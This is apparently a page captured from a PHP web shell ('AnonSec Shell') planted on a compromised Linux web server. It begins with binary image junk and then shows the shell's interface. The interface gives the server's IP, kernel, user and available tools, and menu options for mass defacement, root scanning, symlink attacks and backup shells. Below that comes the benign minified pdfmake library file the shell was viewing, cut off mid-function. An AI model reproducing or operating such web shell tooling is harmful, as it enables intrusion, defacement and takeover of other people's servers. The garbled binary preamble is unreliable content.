JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/itapipoca20/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/itapipoca20/js/pdfmake.min.js
/*! pdfmake v0.1.27, @license MIT, @link http://pdfmake.org */
!function (t, e) {
    if ("object" == typeof exports && "object" == typeof module) module.exports = e(); else if ("function" == typeof define && define.amd) define([], e); else {
        var n = e();
        for (var r in n) ("object" == typeof exports ? exports : t)[r] = n[r]
    }
}(this, function () {
    return function (t) {
        function e(r) {
            if (n[r]) return n[r].exports;
            var i = n[r] = {exports: {}, id: r, loaded: !1};
            return t[r].call(i.exports, i, i.exports, e), i.loaded = !0, i.exports
        }

        var n = {};
        return e.m = t, e.c = n, e.p = "", e(0)
    }([function (t, e, n) {
        (function (e) {
            t.exports = e.pdfMake = n(1)
        }).call(e, function () {
            return this
        }())
    }, function (t, e, n) {
        (function (e) {
            "use strict";

            function r(t, e, n, r) {
                this.docDefinition = t, this.tableLayouts = e || null, this.fonts = n || u, this.vfs = r
            }

            function i() {
                return !!Object.keys
            }

            var o = n(6), a = n(299), s = a.saveAs,
                u = {Roboto: {normal: "Roboto-Regular.ttf", bold: "Roboto-Medium.ttf", italics: "Roboto-Italic.ttf", bolditalics: "Roboto-MediumItalic.ttf"}};
            r.prototype._createDoc = function (t, n) {
                t = t || {}, this.tableLayouts && (t.tableLayouts = this.tableLayouts);
                var r = new o(this.fonts);
                r.fs.bindFS(this.vfs);
                var i, a = r.createPdfKitDocument(this.docDefinition, t), s = [];
                a.on("readable", function () {
                    for (var t; null !== (t = a.read(9007199254740991));) s.push(t)
                }), a.on("end", function () {
                    i = e.concat(s), n(i, a._pdfMakePages)
                }), a.end()
            }, r.prototype._getPages = function (t, e) {
                if (!e) throw"_getPages is an async method and needs a callback argument";
                this._createDoc(t, function (t, n) {
                    e(n)
                })
            }, r.prototype._bufferToBlob = function (t) {
                var e;
                try {
                    e = new Blob([t], {type: "application/pdf"})
                } catch (r) {
                    if ("InvalidStateError" === r.name) {
                        var n = new Uint8Array(t);
                        e     = new Blob([n.buffer], {type: "application/pdf"})
                    }
                }
                if (!e) throw"Could not generate blob";
                return e
            }, r.prototype._openWindow = function () {
                var t = window.open("", "_blank");
                if (null === t) throw"Open PDF in new window blocked by browser";
                return t
            }, r.prototype._openPdf = function (t) {
                var e = this._openWindow();
                try {
                    this.getBlob(function (t) {
                        var n           = window.URL || window.webkitURL, r = n.createObjectURL(t);
                        e.location.href = r
                    }, t)
                } catch (t) {
                    throw e.close(), t
                }
            }, r.prototype.open = function (t) {
                t = t || {}, t.autoPrint = !1, this._openPdf(t)
            }, r.prototype.print = function (t) {
                t = t || {}, t.autoPrint = !0, this._openPdf(t)
            }, r.prototype.download = function (t, e, n) {
                "function" == typeof t && (e = t, t = null), t = t || "file.pdf", this.getBlob(function (n) {
                    s(n, t), "function" == typeof e && e()
                }, n)
            }, r.prototype.getBase64 = function (t, e) {
                if (!t) throw"getBase64 is an async method and needs a callback argument";
                this.getBuffer(function (e) {
                    t(e.toString("base64"))
                }, e)
            }, r.prototype.getDataUrl = function (t, e) {
                if (!t) throw"getDataUrl is an async method and needs a callback argument";
                this.getBuffer(function (e) {
                    t("data:application/pdf;base64," + e.toString("base64"))
                }, e)
            }, r.prototype.getBlob = function (t, e) {
                if (!t) throw"getBlob is an async method and needs a callback argument";
                var n = this;
                this.getBuffer(function (e) {
                    var r = n._bufferToBlob(e);
                    t(r)
                }, e)
            }, r.prototype.getBuffer = function (t, e) {
                if (!t) throw"getBuffer is an async method and needs a callback argument";
                this._createDoc(e, function (e) {
                    t(e)
                })
            }, t.exports = {
                createPdf: function (t) {
                    if (!i()) throw"Your browser does not provide the level of support needed";
                    return new r(t, window.pdfMake.tableLayouts, window.pdfMake.fonts, window.pdfMake.vfs)
                }
            }
        }).call(e, n(2).Buffer)
    }, function (t, e, n) {
        (function (t) {
            "use strict";

            function r() {
                return o.TYPED_ARRAY_SUPPORT ? 2147483647 : 1073741823
            }

            function i(t, e) {
                if (r() < e) throw new RangeError("Invalid typed array length");
                return o.TYPED_ARRAY_SUPPORT ? (t = new Uint8Array(e), t.__proto__ = o.prototype) : (null === t && (t = new o(e)), t.length = e), t
            }

            function o(t, e, n) {
                if (!(o.TYPED_ARRAY_SUPPORT || this instanceof o)) return new o(t, e, n);
                if ("number" == typeof t) {
                    if ("string" == typeof e) throw new Error("If encoding is specified then the first argument must be a string");
                    return c(this, t)
                }
                return a(this, t, e, n)
            }

            function a(t, e, n, r) {
                if ("number" == typeof e) throw new TypeError('"value" argument must not be a number');
                return "undefined" != typeof ArrayBuffer && e instanceof ArrayBuffer ? h(t, e, n, r) : "string" == typeof e ? l(t, e, n) : p(t, e)
            }

            function s(t) {
                if ("number" != typeof t) throw new TypeError('"size" argument must be a number');
                if (t < 0) throw new RangeError('"size" argument must not be negative')
            }

            function u(t, e, n, r) {
                return s(e), e <= 0 ? i(t, e) : void 0 !== n ? "string" == typeof r ? i(t, e).fill(n, r) : i(t, e).fill(n) : i(t, e)
            }

            function c(t, e) {
                if (s(e), t = i(t, e < 0 ? 0 : 0 | d(e)), !o.TYPED_ARRAY_SUPPORT) for (var n = 0; n < e; ++n) t[n] = 0;
                return t
            }

            function l(t, e, n) {
                if ("string" == typeof n && "" !== n || (n = "utf8"), !o.isEncoding(n)) throw new TypeError('"encoding" must be a valid string encoding');
                var r = 0 | v(e, n);
                t     = i(t, r);
                var a = t.write(e, n);
                return a !== r && (t = t.slice(0, a)), t
            }

            function f(t, e) {
                var n = e.length < 0 ? 0 : 0 | d(e.length);
                t     = i(t, n);
                for (var r = 0; r < n; r += 1) t[r] = 255 & e[r];
                return t
            }

            function h(t, e, n, r) {
                if (e.byteLength, n < 0 || e.byteLength < n) throw new RangeError("'offset' is out of bounds");
                if (e.byteLength < n + (r || 0)) throw new RangeError("'length' is out of bounds");
                return e = void 0 === n && void 0 === r ? new Uint8Array(e) : void 0 === r ? new Uint8Array(e, n) : new Uint8Array(e, n, r), o.TYPED_ARRAY_SUPPORT ? (t = e, t.__proto__ = o.prototype) : t = f(t, e), t
            }

            function p(t, e) {
                if (o.isBuffer(e)) {
                    var n = 0 | d(e.length);
                    return t = i(t, n), 0 === t.length ? t : (e.copy(t, 0, 0, n), t)
                }
                if (e) {
                    if ("undefined" != typeof ArrayBuffer && e.buffer instanceof ArrayBuffer || "length" in e) return "number" != typeof e.length || K(e.length) ? i(t, 0) : f(t, e);
                    if ("Buffer" === e.type && Q(e.data)) return f(t, e.data)
                }
                throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")
            }

            function d(t) {
                if (t >= r()) throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x" + r().toString(16) + " bytes");
                return 0 | t
            }

            function g(t) {
                return +t != t && (t = 0), o.alloc(+t)
            }

            function v(t, e) {
                if (o.isBuffer(t)) return t.length;
                if ("undefined" != typeof ArrayBuffer && "function" == typeof ArrayBuffer.isView && (ArrayBuffer.isView(t) || t instanceof ArrayBuffer)) return t.byteLength;
                "string" != typeof t && (t = "" + t);
                var n = t.length;
                if (0 === n) return 0;
                for (var r = !1; ;) switch (e) {
                    case"ascii":
                    case"latin1":
                    case"binary":
                        return n;
                    case"utf8":
                    case"utf-8":
                    case void 0:
                        return V(t).length;
                    case"ucs2":
                    case"ucs-2":
                    case"utf16le":
                    case"utf-16le":
                        return 2 * n;
                    case"hex":
                        return n >>> 1;
                    case"base64":
                        return Z(t).length;
                    default:
                        if (r) return V(t).length;
                        e = ("" + e).toLowerCase(), r = !0
                }
            }

            function y(t, e, n) {
                var r = !1;
                if ((void 0 === e || e < 0) && (e = 0), e > this.length) return "";
                if ((void 0 === n || n > this.length) && (n = this.length), n <= 0) return "";
                if (n >>>= 0, e >>>= 0, n <= e) return "";
                for (t || (t = "utf8"); ;) switch (t) {
                    case"hex":
                        return L(this, e, n);
                    case"utf8":
                    case"utf-8":
                        return P(this, e, n);
                    case"ascii":
                        return O(this, e, n);
                    case"latin1":
                    case"binary":
                        return T(this, e, n);
                    case"base64":
                        return E(this, e, n);
                    case"ucs2":
                    case"ucs-2":
                    case"utf16le":
                    case"utf-16le":
                        return B(this, e, n);
                    default:
                        if (r) throw new TypeError("Unknown encoding: " + t);
                        t = (t + "").toLowerCase(), r = !0
                }
            }

            function m(t, e, n) {
                var r = t[e];
                t[e] = t[n], t[n] = r
            }

            function b(t, e, n, r, i) {
                if (0 === t.length) return -1;
                if ("string" == typeof n ? (r = n, n = 0) : n > 2147483647 ? n = 2147483647 : n < -2147483648 && (n = -2147483648), n = +n, isNaN(n) && (n = i ? 0 : t.length - 1), n < 0 && (n = t.length + n), n >= t.length) {
                    if (i) return -1;
                    n = t.length - 1
                } else if (n < 0) {
                    if (!i) return -1;
                    n = 0
                }
                if ("string" == typeof e && (e = o.from(e, r)), o.isBuffer(e)) return 0 === e.length ? -1 : w(t, e, n, r, i);
                if ("number" == typeof e) return e &= 255, o.TYPED_ARRAY_SUPPORT && "function" == typeof Uint8Array.prototype.indexOf ? i ? Uint8Array.prototype.indexOf.call(t, e, n) : Uint8Array.prototype.lastIndexOf.call(t, e, n) : w(t, [e], n, r, i);
                throw new TypeError("val must be string, number or Buffer")
            }

            function w(t, e, n, r, i) {
                function o(t, e) {
                    return 1 === a ? t[e] : t.readUInt16BE(e * a)
                }

                var a = 1, s = t.length, u = e.length;
                if (void 0 !== r && ("ucs2" === (r = String(r).toLowerCase()) || "ucs-2" === r || "utf16le" === r || "utf-16le" === r)) {
                    if (t.length < 2 || e.length < 2) return -1;
                    a = 2, s /= 2, u /= 2, n /= 2
                }
                var c;
                if (i) {
                    var l = -1;
                    for (c = n; c < s; c++) if (o(t, c) === o(e, l === -1 ? 0 : c - l)) {
                        if (l === -1 && (l = c), c - l + 1 === u) return l * a
                    } else l !== -1 && (c -= c - l), l = -1
                } else for (n + u > s && (n = s - u), c = n; c >= 0; c--) {
                    for (var f = !0, h = 0; h < u; h++) if (o(t, c + h) !== o(e, h)) {
                        f = !1;
                        break
                    }
                    if (f) return c
                }
                return -1
            }

            function x(t, e, n, r) {
                n     = Number(n) || 0;
                var i = t.length - n;
                r ? (r = Number(r)) > i && (r = i) : r = i;
                var o = e.length;
                if (o % 2 != 0) throw new TypeError("Invalid hex string");
                r > o / 2 && (r = o / 2);
                for (var a = 0; a < r; ++a) {
                    var s = parseInt(e.substr(2 * a, 2), 16);
                    if (isNaN(s)) return a;
                    t[n + a] = s
                }
                return a
            }

            function S(t, e, n, r) {
                return Y(V(e, t.length - n), t, n, r)
            }

            function k(t, e, n, r) {
                return Y(q(e), t, n, r)
            }

            function _(t, e, n, r) {
                return k(t, e, n, r)
            }

            function C(t, e, n, r) {
                return Y(Z(e), t, n, r)
            }

            function A(t, e, n, r) {
                return Y(H(e, t.length - n), t, n, r)
            }

            function E(t, e, n) {
                return 0 === e && n === t.length ? X.fromByteArray(t) : X.fromByteArray(t.slice(e, n))
            }

            function P(t, e, n) {
                n = Math.min(t.length, n);
                for (var r = [], i = e; i < n;) {
                    var o = t[i], a = null, s = o > 239 ? 4 : o > 223 ? 3 : o > 191 ? 2 : 1;
                    if (i + s <= n) {
                        var u, c, l, f;
                        switch (s) {
                            case 1:
                                o < 128 && (a = o);
                                break;
                            case 2:
                                u = t[i + 1], 128 == (192 & u) && (f = (31 & o) << 6 | 63 & u) > 127 && (a = f);
                                break;
                            case 3:
                                u = t[i + 1], c = t[i + 2], 128 == (192 & u) && 128 == (192 & c) && (f = (15 & o) << 12 | (63 & u) << 6 | 63 & c) > 2047 && (f < 55296 || f > 57343) && (a = f);
                                break;
                            case 4:
                                u = t[i + 1], c = t[i + 2], l = t[i + 3], 128 == (192 & u) && 128 == (192 & c) && 128 == (192 & l) && (f = (15 & o) << 18 | (63 & u) << 12 | (63 & c) << 6 | 63 & l) > 65535 && f < 1114112 && (a = f)
                        }
                    }
                    null === a ? (a = 65533, s = 1) : a > 65535 && (a -= 65536, r.push(a >>> 10 & 1023 | 55296), a = 56320 | 1023 & a), r.push(a), i += s
                }
                return I(r)
            }

            function I(t) {
                var e = t.length;
                if (e <= $) return String.fromCharCode.apply(String, t);
                for (var n = "", r = 0; r < e;) n += String.fromCharCode.apply(String, t.slice(r, r += $));
                return n
            }

            function O(t, e, n) {
                var r = "";
                n     = Math.min(t.length, n);
                for (var i = e; i < n; ++i) r += String.fromCharCode(127 & t[i]);
                return r
            }

            function T(t, e, n) {
                var r = "";
                n     = Math.min(t.length, n);
                for (var i = e; i < n; ++i) r += String.fromCharCode(t[i]);
                return r
            }

            function L(t, e, n) {
                var r = t.length;
                (!e || e < 0) && (e = 0), (!n || n < 0 || n > r) && (n = r);
                for (var i = "", o = e; o < n; ++o) i += G(t[o]);
                return i
            }

            function B(t, e, n) {
                for (var r = t.slice(e, n), i = "", o = 0; o < r.length; o += 2) i += String.fromCharCode(r[o] + 256 * r[o + 1]);
                return i
            }

            function R(t, e, n) {
                if (t % 1 != 0 || t < 0) throw new RangeError("offset is not uint");
                if (t + e > n) throw new RangeError("Trying to access beyond buffer length")
            }

            function M(t, e, n, r, i, a) {
                if (!o.isBuffer(t)) throw new TypeError('"buffer" argument must be a Buffer instance');
                if (e > i || e < a) throw new RangeError('"value" argument is out of bounds');
                if (n + r > t.length) throw new RangeError("Index out of range")
            }

            function z(t, e, n, r) {
                e < 0 && (e = 65535 + e + 1);
                for (var i = 0, o = Math.min(t.length - n, 2); i < o; ++i) t[n + i] = (e & 255 << 8 * (r ? i : 1 - i)) >>> 8 * (r ? i : 1 - i)
            }

            function F(t, e, n, r) {
                e < 0 && (e = 4294967295 + e + 1);
                for (var i = 0, o = Math.min(t.length - n, 4); i < o; ++i) t[n + i] = e >>> 8 * (r ? i : 3 - i) & 255
            }

            function D(t, e, n, r, i, o) {
                if (n + r > t.length) throw new RangeError("Index out of range");
                if (n < 0) throw new RangeError("Index out of range")
            }

            function N(t, e, n, r, i) {
                return i || D(t, e, n, 4, 3.4028234663852886e38, -3.4028234663852886e38), J.write(t, e, n, r, 23, 4), n + 4
            }

            function U(t, e, n, r, i) {
                return i || D(t, e, n, 8, 1.7976931348623157e308, -1.7976931348623157e308), J.write(t, e, n, r, 52, 8), n + 8
            }

            function W(t) {
                if (t = j(t).replace(tt, ""), t.length < 2) return "";
                for (; t.length % 4 != 0;) t += "=";
                return t
            }

            function j(t) {
                return t.trim ? t.trim() : t.replace(/^\s+|\s+$/g, "")
            }

            function G(t) {
                return t < 16 ? "0" + t.toString(16) : t.toString(16)
            }

            function V(t, e) {
                e = e || 1 / 0;
                for (var n, r = t.length, i = null, o = [], a = 0; a < r; ++a) {
                    if ((n = t.charCodeAt(a)) > 55295 && n < 57344) {
                        if (!i) {
                            if (n > 56319) {
                                (e -= 3) > -1 && o.push(239, 191, 189);
                                continue
                            }
                            if (a + 1 === r) {
                                (e -= 3) > -1 && o.push(239, 191, 189);
                                continue
                            }
                            i = n;
                            continue
                        }
                        if (n < 56320) {
                            (e -= 3) > -1 && o.push(239, 191, 189), i = n;
                            continue
                        }
                        n = 65536 + (i - 55296 << 10 | n - 56320)
                    } else i && (e -= 3) > -1 && o.push(239, 191, 189);
                    if (i = null, n < 128) {
                        if ((e -= 1) < 0) break;
                        o.push(n)
                    } else if (n < 2048) {
                        if ((e -= 2) < 0) break;
                        o.push(n >> 6 | 192, 63 & n | 128)
                    } else if (n < 65536) {
                        if ((e -= 3) < 0) break;
                        o.push(n >> 12 | 224, n >> 6 & 63 | 128, 63 & n | 128)
                    } else {
                        if (!(n < 1114112)) throw new Error("Invalid code point");
                        if ((e -= 4) < 0) break;
                        o.push(n >> 18 | 240, n >> 12 & 63 | 128, n >> 6 & 63 | 128, 63 & n | 128)
                    }
                }
                return o
            }

            function q(t) {
                for (var e = [], n = 0; n < t.length; ++n) e.push(255 & t.charCodeAt(n));
                return e
            }

            function H(t, e) {
                for (var n, r, i, o = [], a = 0; a < t.length && !((e -= 2) < 0); ++a) n = t.charCodeAt(a), r = n >> 8, i = n % 256, o.push(i), o.push(r);
                return o
            }

            function Z(t) {
                return X.toByteArray(W(t))
            }

            function Y(t, e, n, r) {
                for (var i = 0; i < r && !(i + n >= e.length || i >= t.length); ++i) e[i + n] = t[i];
                return i
            }

            function K(t) {
                return t !== t
            }

            var X = n(3), J = n(4), Q = n(5);
            e.Buffer = o, e.SlowBuffer = g, e.INSPECT_MAX_BYTES = 50, o.TYPED_ARRAY_SUPPORT = void 0 !== t.TYPED_ARRAY_SUPPORT ? t.TYPED_ARRAY_SUPPORT : function () {
                try {
                    var t = new Uint8Array(1);
                    return t.__proto__ = {
                        __proto__: Uint8Array.prototype, foo: function () {
                            return 42
                        }
                    }, 42 === t.foo() && "function" == typeof t.subarray && 0 === t.subarray(1, 1).byteLength
                } catch (t) {
                    return !1
                }
            }(), e.kMaxLength = r(), o.poolSize = 8192, o._augment = function (t) {
                return t.__proto__ = o.prototype, t
            }, o.from = function (t, e, n) {
                return a(null, t, e, n)
            }, o.TYPED_ARRAY_SUPPORT && (o.prototype.__proto__ = Uint8Array.prototype, o.__proto__ = Uint8Array, "undefined" != typeof Symbol && Symbol.species && o[Symbol.species] === o && Object.defineProperty(o, Symbol.species, {
                value: null,
                configurable: !0
            })), o.alloc = function (t, e, n) {
                return u(null, t, e, n)
            }, o.allocUnsafe = function (t) {
                return c(null, t)
            }, o.allocUnsafeSlow = function (t) {
                return c(null, t)
            }, o.isBuffer = function (t) {
                return !(null == t || !t._isBuffer)
            }, o.compare = function (t, e) {
                if (!o.isBuffer(t) || !o.isBuffer(e)) throw new TypeError("Arguments must be Buffers");
                if (t === e) return 0;
                for (var n = t.length, r = e.length, i = 0, a = Math.min(n, r); i < a; ++i) if (t[i] !== e[i]) {
                    n = t[i], r = e[i];
                    break
                }
                return n < r ? -1 : r < n ? 1 : 0
            }, o.isEncoding = function (t) {
                switch (String(t).toLowerCase()) {
                    case"hex":
                    case"utf8":
                    case"utf-8":
                    case"ascii":
                    case"latin1":
                    case"binary":
                    case"base64":
                    case"ucs2":
                    case"ucs-2":
                    case"utf16le":
                    case"utf-16le":
                        return !0;
                    default:
                        return !1
                }
            }, o.concat = function (t, e) {
                if (!Q(t)) throw new TypeError('"list" argument must be an Array of Buffers');
                if (0 === t.length) return o.alloc(0);
                var n;
                if (void 0 === e) for (e = 0, n = 0; n < t.length; ++n) e += t[n].length;
                var r = o.allocUnsafe(e), i = 0;
                for (n = 0; n < t.length; ++n) {
                    var a = t[n];
                    if (!o.isBuffer(a)) throw new TypeError('"list" argument must be an Array of Buffers');
                    a.copy(r, i), i += a.length
                }
                return r
            }, o.byteLength = v, o.prototype._isBuffer = !0, o.prototype.swap16 = function () {
                var t = this.length;
                if (t % 2 != 0) throw new RangeError("Buffer size must be a multiple of 16-bits");
                for (var e = 0; e < t; e += 2) m(this, e, e + 1);
                return this
            }, o.prototype.swap32 = function () {
                var t = this.length;
                if (t % 4 != 0) throw new RangeError("Buffer size must be a multiple of 32-bits");
                for (var e = 0; e < t; e += 4) m(this, e, e + 3), m(this, e + 1, e + 2);
                return this
            }, o.prototype.swap64 = function () {
                var t = this.length;
                if (t % 8 != 0) throw new RangeError("Buffer size must be a multiple of 64-bits");
                for (var e = 0; e < t; e += 8) m(this, e, e + 7), m(this, e + 1, e + 6), m(this, e + 2, e + 5), m(this, e + 3, e + 4);
                return this
            }, o.prototype.toString = function () {
                var t = 0 | this.length;
                return 0 === t ? "" : 0 === arguments.length ? P(this, 0, t) : y.apply(this, arguments)
            }, o.prototype.equals = function (t) {
                if (!o.isBuffer(t)) throw new TypeError("Argument must be a Buffer");
                return this === t || 0 === o.compare(this, t)
            }, o.prototype.inspect = function () {
                var t = "", n = e.INSPECT_MAX_BYTES;
                return this.length > 0 && (t = this.toString("hex", 0, n).match(/.{2}/g).join(" "), this.length > n && (t += " ... ")), "<Buffer " + t + ">"
            }, o.prototype.compare = function (t, e, n, r, i) {
                if (!o.isBuffer(t)) throw new TypeError("Argument must be a Buffer");
                if (void 0 === e && (e = 0), void 0 === n && (n = t ? t.length : 0), void 0 === r && (r = 0), void 0 === i && (i = this.length), e < 0 || n > t.length || r < 0 || i > this.length) throw new RangeError("out of range index");
                if (r >= i && e >= n) return 0;
                if (r >= i) return -1;
                if (e >= n) return 1;
                if (e >>>= 0, n >>>= 0, r >>>= 0, i >>>= 0, this === t) return 0;
                for (var a = i - r, s = n - e, u = Math.min(a, s), c = this.slice(r, i), l = t.slice(e, n), f = 0; f < u; ++f) if (c[f] !== l[f]) {
                    a = c[f], s = l[f];
                    break
                }
                return a < s ? -1 : s < a ? 1 : 0
            }, o.prototype.includes = function (t, e, n) {
                return this.indexOf(t, e, n) !== -1
            }, o.prototype.indexOf = function (t, e, n) {
                return b(this, t, e, n, !0)
            }, o.prototype.lastIndexOf = function (t, e, n) {
                return b(this, t, e, n, !1)
            }, o.prototype.write = function (t, e, n, r) {
                if (void 0 === e) r = "utf8", n = this.length, e = 0; else if (void 0 === n && "string" == typeof e) r = e, n = this.length, e = 0; else {
                    if (!isFinite(e)) throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");
                    e |= 0, isFinite(n) ? (n |= 0, void 0 === r && (r = "utf8")) : (r = n, n = void 0)
                }
                var i = this.length - e;
                if ((void 0 === n || n > i) && (n = i), t.length > 0 && (n < 0 || e < 0) || e > this.length) throw new RangeError("Attempt to write outside buffer bounds");
                r || (r = "utf8");
                for (var o = !1; ;) switch (r) {
                    case"hex":
                        return x(this, t, e, n);
                    case"utf8":
                    case"utf-8":
                        return S(this, t, e, n);
                    case"ascii":
                        return k(this, t, e, n);
                    case"latin1":
                    case"binary":
                        return _(this, t, e, n);
                    case"base64":
                        return C(this, t, e, n);
                    case"ucs2":
                    case"ucs-2":
                    case"utf16le":
                    case"utf-16le":
                        return A(this, t, e, n);
                    default:
                        if (o) throw new TypeError("Unknown encoding: " + r);
                        r = ("" + r).toLowerCase(), o = !0
                }
            }, o.prototype.toJSON = function () {
                return {type: "Buffer", data: Array.prototype.slice.call(this._arr || this, 0)}
            };
            var $ = 4096;
            o.prototype.slice = function (t, e) {
                var n = this.length;
                t = ~~t, e = void 0 === e ? n : ~~e, t < 0 ? (t += n) < 0 && (t = 0) : t > n && (t = n), e < 0 ? (e += n) < 0 && (e = 0) : e > n && (e = n), e < t && (e = t);
                var r;
                if (o.TYPED_ARRAY_SUPPORT) r = this.subarray(t, e), r.__proto__ = o.prototype; else {
                    var i = e - t;
                    r     = new o(i, void 0);
                    for (var a = 0; a < i; ++a) r[a] = this[a + t]
                }
                return r
            }, o.prototype.readUIntLE = function (t, e, n) {
                t |= 0, e |= 0, n || R(t, e, this.length);
                for (var r = this[t], i = 1, o = 0; ++o < e && (i *= 256);) r += this[t + o] * i;
                return r
            }, o.prototype.readUIntBE = function (t, e, n) {
                t |= 0, e |= 0, n || R(t, e, this.length);
                for (var r = this[t + --e], i = 1; e > 0 && (i *= 256);) r += this[t + --e] * i;
                return r
            }, o.prototype.readUInt8 = function (t, e) {
                return e || R(t, 1, this.length), this[t]
            }, o.prototype.readUInt16LE = function (t, e) {
                return e || R(t, 2, this.length), this[t] | this[t + 1] << 8
            }, o.prototype.readUInt16BE = function (t, e) {
                return e || R(t, 2, this.length), this[t] << 8 | this[t + 1]
            }, o.prototype.readUInt32LE = function (t, e) {
                return e || R(t, 4, this.length), (this[t] | this[t + 1] << 8 | this[t + 2] << 16) + 16777216 * this[t + 3]
            }, o.prototype.readUInt32BE = function (t, e) {
                return e || R(t, 4, this.length), 16777216 * this[t] + (this[t + 1] << 16 | this[t + 2] << 8 | this[t + 3])
            }, o.prototype.readIntLE = function (t, e, n) {
                t |= 0, e |= 0, n || R(t, e, this.length);
                for (var r = this[t], i = 1, o = 0; ++o < e && (i *= 256);) r += this[t + o] * i;
                return i *= 128, r >= i && (r -= Math.pow(2, 8 * e)), r
            }, o.prototype.readIntBE = function (t, e, n) {
                t |= 0, e |= 0, n || R(t, e, this.length);
                for (var r = e, i = 1, o = this[t + --r]; r > 0 && (i *= 256);) o += this[t + --r] * i;
                return i *= 128, o >= i && (o -= Math.pow(2, 8 * e)), o
            }, o.prototype.readInt8 = function (t, e) {
                return e || R(t, 1, this.length), 128 & this[t] ? (255 - this[t] + 1) * -1 : this[t]
            }, o.prototype.readInt16LE = function (t, e) {
                e || R(t, 2, this.length);
                var n = this[t] | this[t + 1] << 8;
                return 32768 & n ? 4294901760 | n : n
            }, o.prototype.readInt16BE = function (t, e) {
                e || R(t, 2, this.length);
                var n = this[t + 1] | this[t] << 8;
                return 32768 & n ? 4294901760 | n : n
            }, o.prototype.readInt32LE = function (t, e) {
                return e || R(t, 4, this.length), this[t] | this[t + 1] << 8 | this[t + 2] << 16 | this[t + 3] << 24
            }, o.prototype.readInt32BE = function (t, e) {
                return e || R(t, 4, this.length), this[t] << 24 | this[t + 1] << 16 | this[t + 2] << 8 | this[t + 3]
            }, o.prototype.readFloatLE = function (t, e) {
                return e || R(t, 4, this.length), J.read(this, t, !0, 23, 4)
            }, o.prototype.readFloatBE = function (t, e) {
                return e || R(t, 4, this.length), J.read(this, t, !1, 23, 4)
            }, o.prototype.readDoubleLE = function (t, e) {
                return e || R(t, 8, this.length), J.read(this, t, !0, 52, 8)
            }, o.prototype.readDoubleBE = function (t, e) {
                return e || R(t, 8, this.length), J.read(this, t, !1, 52, 8)
            }, o.prototype.writeUIntLE = function (t, e, n, r) {
                if (t = +t, e |= 0, n |= 0, !r) {
                    M(this, t, e, n, Math.pow(2, 8 * n) - 1, 0)
                }
                var i = 1, o = 0;
                for (this[e] = 255 & t; ++o < n && (i *= 256);) this[e + o] = t / i & 255;
                return e + n
            }, o.prototype.writeUIntBE = function (t, e, n, r) {
                if (t = +t, e |= 0, n |= 0, !r) {
                    M(this, t, e, n, Math.pow(2, 8 * n) - 1, 0)
                }
                var i = n - 1, o = 1;
                for (this[e + i] = 255 & t; --i >= 0 && (o *= 256);) this[e + i] = t / o & 255;
                return e + n
            }, o.prototype.writeUInt8 = function (t, e, n) {
                return t = +t, e |= 0, n || M(this, t, e, 1, 255, 0), o.TYPED_ARRAY_SUPPORT || (t = Math.floor(t)), this[e] = 255 & t, e + 1
            }, o.prototype.writeUInt16LE = function (t, e, n) {
                return t = +t, e |= 0, n || M(this, t, e, 2, 65535, 0), o.TYPED_ARRAY_SUPPORT ? (this[e] = 255 & t, this[e + 1] = t >>> 8) : z(this, t, e, !0), e + 2
            }, o.prototype.writeUInt16BE = function (t, e, n) {
